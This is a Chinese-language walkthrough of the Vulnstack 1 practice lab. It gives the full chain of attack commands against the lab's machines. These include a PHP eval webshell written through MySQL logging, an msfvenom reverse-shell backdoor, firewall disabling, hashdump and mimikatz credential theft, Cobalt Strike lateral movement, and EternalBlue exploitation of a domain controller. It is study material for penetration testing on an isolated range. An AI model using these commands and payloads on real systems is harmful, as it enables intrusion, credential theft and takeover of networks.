环境配置
红日安全的靶场一:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻击机/kali:192.168.52.128
win 7(内):192.168.52.133 win7(外):192.168.72.143
Winserver2003:192.168.72.141 Winserver2008:192.168.72.138
1、信息收集
1.1、主机发现 netdiscover -i eth0 -r 192.168.52.0/24,看到192.168.52.133这个地址,lenth比较长,应该就是我们要找的主机(自己搭建的靶机环境,假装不知道,淡定)
1.2、nmap扫描下端口,发现开启了很多端口,其他不能访问,80端口可以访问(这个环境用来打过其他的漏洞,所以跟原装的环境不太一样了,只是端口多了点)
nmap -sS -A -n -T4 -p- 192.168.52.133
1.3、访问80端口发现是个PHPstudy探针,在这里就可猜测网站的路径为C:/phpStudy/www/
1.4、在最下面有个数据库连接检测,需要输入用户名和密码,在这里分别输入弱口令root,root,点击MySQL检测尝试下
1.5、鬼鬼,连接成功(弱口令,弱口令)
1.6、继续信息收集,祭出我的大宝剑-御剑扫一下。然鹅,还是没有什么新的收获
1.7、写个脚本猜解下,目标机器下是否存在源码备份文件。
常见的网站源码文件名有:web,website,backup,back,www,wwwroot,temp,beifen,bf
常见的网站源码备份文件后缀有:tar,tar.gz,zip,rar
python脚本如下,让他们匹配去get一下响应码,拼接一下输出URL和对应的响应码
import requests
url = "http://192.168.52.133"
li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp', 'beifen', 'bf']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:
for j in li2:
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print("%s:%s" %(url_final,r))
1.8、在kali下跑一下试试,发现还真有备份文件,URL为 http://192.168.52.133/beifen.rar响应码为200,说明存在,在浏览器下访问这个URL,把源码下载下来
1.9、下载后,提取解压得到yxcms文件的文件夹,元芳猜测,PHPmyadmin下应该有个路径为yxcms,也有好几个文件夹试着访问下,看是否存在文件遍历漏洞,yxcms、data、protected、public、upload 都访问成功,说明存在文件遍历漏洞,这个记着,留着接下来操作。
1.10、查看网站源文件,在yxcms>data>db_back>1384692822下是网站的源码,在kali上只有文件编辑器,所以审计起来不太方便,我这面拖到了物理机上使用visual 打开,观察到后台的登录用户名admin和密码123456,以及登录路径/index.php?r=admin
2、获取shell
有PHPmyadmin和cms后台的得登录名和密码,所以写shell有两种姿势,在这里分为2.1和2.2
2.1、PHPmyadmin 写shell
2.1.1、登录PHPmyadmin,登录名和密码是root:root(在PHP探针那里数据库检测连接的弱口令,见1.4)
2.1.2、点击图中的SQL按钮,输入“show variables like '%secure_file%';”查询下是否能直接写入shell。执行成功,这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell
2.1.3、作罢,尝试日志写入shell。
在这里简述下:general_log和general_log_file
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。
第一步、首先开启日志记录:“set global general_log = "ON";”,开启成功
第二步、查看当前的日志存放的目录:show variables like 'general%'; 可以看到当前日志存放的目录为C:\phpstudy\MYSQL\data\stu1.log。
第三步、通过general_log_file来获取webshell,先指定一个文件,没有文件会创建一个新文件
set global general_log_file = "C:/phpStudy/www/1.php";
指定成功,接下来再执行的操作都会记录到1.php这个文件中
第四步、执行SELECT '<?php eval($_POST["123"]);?>' 也就是在1.php中写入一句话木马,连接密码123,执行成功,意思就是已经写进去了
第五步、蚁剑连接,连接成功
2.2、yxcms系统写shell
2.2.1、之前在查看网站源码的时候,就发现yxcms系统有个后台,登录路径/index.php?r=admin,登录用户名admin和密码123456,尝试登录访问下
2.2.2、进来后是一些关于服务器的相关配置,随便点点看看,在前台模板这里,有一个管理模板文件的按钮,点进去,发现有很多PHP文件。
在此随便选择一个PHP文件,这里以前台模板文件index_index.php为例,编辑写入一句话木马,为了跟2.1区分开,这里连接密码为456
2.2.3、蚁上连剑,蚁上了!!!
两个webshell都能正常连接
3、内网信息收集及域渗透
3.1、内网信息收集
思路有很多,工具也有很多,可以使用msfvenom生成后门,在目标机器上执行,webshell反弹meterpreter shell来进行信息收集。也可以使用cs生成beacon,webshell反弹shell给cs的方式。
我这里故意麻烦一下,多练习一下,前期使用msf进行内网的信息收集,后期派生cs进行内网横移,打一把组合拳
3.1.1、msfvenom 制作一个名为j2w的exe后门
'/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -5 -b 'x80' LHOST=192.168.52.128 LPORT=4444 -f exe >j2w.exe'
3.1.2、在蚁剑终端这个后门之前,先在终端关闭下防火墙,防止弹窗。
netsh advfirewall set allprofiles state off
关闭防火墙后,将后门上传上去,在终端执行
3.1.3、打开msf,msf不变的配置,再敲一遍,练练手
use exploit/multi/handler ///使用exploit/multi/handler进行探测
set payload Windows/meterpreter/reverse_tcp /// 设置payload ‘Windows/meterpreter/reverse_tcp’ 进行监听
show options ///查看下哪些选项需要配置,查看到LHOST 那里是空缺的,但是required又是yes(required为yes的表示一定要配置的)
set LHOST 192.168.52.128 ///设置下主机地址
run/exploit ///开始攻击
下方会弹出meterpreter shell的提示框
3.1.4、shell一下进入与目标主机的交互模式,在上面调整一下编码格式为简体中文-GBK,防止乱码
3.1.5、执行一下命令,对该目标主机,进行一些列的用户信息收集。(实际在蚁剑终端也可以进行这些信息收集,但是后面要内网横移,肯定是要建立一个稳定的后门进行通信,cs生成beacon,信息收集,前面还要加前缀shell,所以用msf,实际效果是一样的,来跟我一起喊,msf,yyds!!!)
whoami ///收集目标机器的身份
hostname /// 显示主机名称
net user ///显示用户
net localgroup administrator ///显示本地管理员组(因为这个镜像被我用其他的洞打过,所以有一些比红日官方账户多几个账户,这个都无所谓)
3.1.6、执行以下命令,进行系统信息的收集
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ///查看系统版本
echo % PROCESSOR_ARCHITECTURE% ///查看系统架构,判断是32位的还是64位的,对接下来选择payload架构时非常重要,可以看到是x86
查询已安装的软件及版本信息:wmic product get name,version
查询进程及服务:tasklist 显示映像名称、PID、会话名、内存使用
3.2、域信息收集
域(domain)
域是一个有安全边界的计算机集合。(安全边界的意思是,在两个域中,一个域中的用户无法访问另外一个域中的资源)。
AD域:“AD”其实就是Active Directory活动目录的简写,活动目录所提供的功能有资源管理、桌面配置、用户服务、服务器鸡客户端计算机管理等等。
域控制器(DC domian controller):是域中的一台类似管理服务器的计算机、域控制器负责所有连入的计算机和用户的验证工作,域内计算机如果互相访问,都要经过域控制器的审核。
3.2.1、判断是否存在域:ipconfig/all 查看DNS服务器,可以看到DNS服务器名为god.org
3.2.2、查看域信息:net view
3.2.3、查看主域信息:net view /domain,有一个GOD的域
3.2.4、查询当前的登录域与用户信息:net config workstation
3.3、查找域控
3.3.1、上面信息说明有个域的DNS服务器名称为god.org,nslookup一下解析域名服务器,查找一下地址,得知域控主机的IP地址为192.168.72.138
3.3.2、查看一下域信息:net view
查看一下主域信息:net view /domain
查看下当前域的所有用户:net user /domain。
//////若发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但当前登录用户不是域用户)//////
获取域内用户的信息:wmic useraccount get /all
查看所有域成员计算机列表:net group “domain computers” /domain,发现也是请求失败
查看域管理员:net group “domain admins” /domain,发现也是请求失败(当前登录用户不是域用户,所以会显示系统错误5)
查看域控制器:net group “domain controllers” /domain
查看企业管理组:net group “enterprise admins” /domain
麻了,这些命令都执行不了,因为metasploit的一些局限性,接下来转战cs
3.4、metasploit派生shell给cs
3.4.1、搭建cs端
先创建个teamserver团队服务器,密码123456,奔跑吧
./cobalt strike 进入cs,连接本主机192.168.52.128 ,密码123456
创建一个listener 监听
选择payload,这里选择的payload一定要与msf中的payload一致,端口8888
监听器创建成功
3.4.2、配置msf端
万分注意:在msf上,meterpreter需要获取到system权限,才可注入到其他进程。提权的方法有很多,比如直接getsystem(跟当前账户的权限有关系),利用msf上的ms17_010模块,bypassuac,PathsAlwaysInstallElevated漏洞利用,msf令牌窃取等方式,我的其他文章也有介绍。在这里提权我直接使用getsystem一步就提取成功了
在meterpreter shell界面,输入background,session 2 进入后台,一会就要把这个session 2传到cs上
在msf上使用exploit/windonws/local/payload_inject(选用exploit)
在这里payload 选择windows/meterpreter/reverse_http。(http、http、http、重要的事情说三遍,因为cs那里选的就是reverse_http。我当时就table一下敲成了reverse_tcp,后面一直不上线,耽误了好久,可长记性了,不要学我)
set DisablePayloadHandler true /////禁止产生一个新的handler
show options,配置一下主机地址,session,和port。run一下
cs上线,觉得msf派生给CS麻烦的话,可以直接上传个cs的beacon后门马
3.5、CS横向探测
3.5.1、在beacon上右键,目标(target)>net view,查看下扫描到的主机,在cs的beacon下,首先要降低心跳,防止杀软警觉,这里是内网,没有杀软就直接sleep 0
3.5.2、点击target,会显示视图中的目标列表
3.5.3、在cs中,使用hashdump抓一下内存的密码,mimikatz抓注册表的明文密码或散列值
右击beacon,在视图一栏查看凭证信息,查看相关用户的密码及散列值
4、内网横移
在这里使用smb beacon的方法,由一台已经拿到beacon的机器,抓取到密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送(以现有的beacon为跳板)。因为链接的Beacon使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,可绕防火墙。
4.1、派生smb beacon
4.1.1、新建一个listener,payload选择Windows/beacon_smb/bind_pipe,端口设为7770
4.1.2、右击beacon,派生会话选择父级beacon:msf-cs,新的smb beacon上有一个圈圈就说明,beacon与smb beacon之间的通信已经连接成功了。目标的机器有两张网卡,一张C端是52(外网通信),一张C端是72,用于跟域内其他机器内网通信。
接下来又是两种打法
4.2、psexec通过凭证登录到其他主机
4.2.1、前面横向探测已经获取到内网目标的凭证信息,尝试psexec模块登录到其他主机。右键一台非域控主机,比如右键选择ROOT-TVI862UBEH 的 psexec 模块
在这里选择一个administrator的凭证信息,监听器选择刚才创建的smb,会话选择smb beacon对应的会话
可以看到,得到了192.168.27.141的beacon,如法炮制,就能得到域控主机192.168.72.138的beacon
4.3、token令牌窃取
除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机
4.4、cs派生会话给msf
(hahah,绕回来了,msf模块比较集中)
在信息收集的时候也看到(见3.5.2)win7有两张网卡,已经拿到了52网段的meterpreter shell,72这个网段肯定是不能通信的,所以看情况要添加一条路由。
4.4.1、cs派生会话到msf
msf 上设置监听端口,地址还是本机地址,192.168.52.128,不是攻击机地址偶(不要弄混了),端口9990
cs上,设置一个监听端口,地址还是本机地址,192.168.52.128,不是攻击机地址偶(不要弄混了),端口9990,payload选择Windows/foreign/reverse_http
cs上,右击192.168.52.133这个进入beacon,输入spawn cs-msf,msf上会监听的到,生成一个session 4
4.4.2、先查看下路由(cs的会话就是msf派生的,接下来的工作转移阵地,在msf上干)
run get_local_subnets
添加路由:run autoroute -s 192.168.72.0/24 添加成功,在run autoroute -p 查看下,看到session 4添加成功!
4.4.3、把shell 置于后台,永恒之蓝ms17_010_eternalblue 嗯上,session 5
这一步提权成功,我是没想到。直接就得到了win 2008的权限【觉得玩着没意思的话可以试试CVE-2018-8120、ms14-068,还有前面说过的内核溢出漏洞利用、bypassuac都可以试试,只要思路宽,权限拿得欢】
4.4.4、如果上面的ms17_010_eternalblue模块,弹不出session。以前也有这种情况,用起来不稳定,直接打死或者没反应,都很正常,那就换ms17_010_psexec再接着冲,硬着头皮嗯冲
后记
疫情封控期间,学着玩,就此记下来了。学到了很多东西,也发现了一些问题,包括自己身上很多不足,技能缺乏的地方,也是学习的过程吧。复习了很多工具的使用,msf与cs之间的会话相互派生,内网横移的思路,中间搞过一次乌龙,就是payload选择错误,reverse_http选择成reverse_tcp,以后还是要细心。
整个过程还算顺畅,因为环境中没有加入杀软,很多工具都会被AV发现,这时候就需要手动写一些工具了。希望以后不要懒,多学技术,多交朋友。最后希望疫情尽快结束吧。